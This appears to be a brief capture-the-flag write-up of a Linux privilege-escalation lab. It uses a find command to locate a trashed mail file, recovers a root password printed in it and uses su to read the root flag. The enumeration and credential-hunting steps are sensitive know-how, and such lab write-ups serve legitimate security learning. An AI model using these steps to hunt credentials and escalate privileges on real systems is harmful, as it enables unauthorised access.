

Priv Escalation 1

First priv esc challenge

logged in

went to `thomas@fb44f05ebb41:/var/spool/mail$`

Using find starting at the root directory looking for files and directories within the thomas group
Throwing all the error output away into `/dev/null` and filtering out entries containing `proc`

```
thomas@fb44f05ebb41:/var/spool/mail$ find / -group thomas 2>/dev/null | grep -v "proc"
```

```
/home/thomas/.local/share/Trash/files  
/home/thomas/.local/share/Trash/files/mail.htm
```

then found this in the file

```
<div>  
<p class=MsoNormal><span style='mso-fareast-font-family:"Times New Roman"'>Pass:vYuzpN9MTHdxMw5a<o:p></o:p></span></p>
```

then we login as root

```
thomas@fb44f05ebb41:/var/spool/mail$ su  
Password:  
root@fb44f05ebb41:/var/spool/mail# ls  
root@fb44f05ebb41:/var/spool/mail# cd  
root@fb44f05ebb41:~# ls  
flag.txt  
root@fb44f05ebb41:~# cat flag.txt
```



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Always be yourself,
unless you can be someone better.

```
root@fb44f05ebb41:~#
```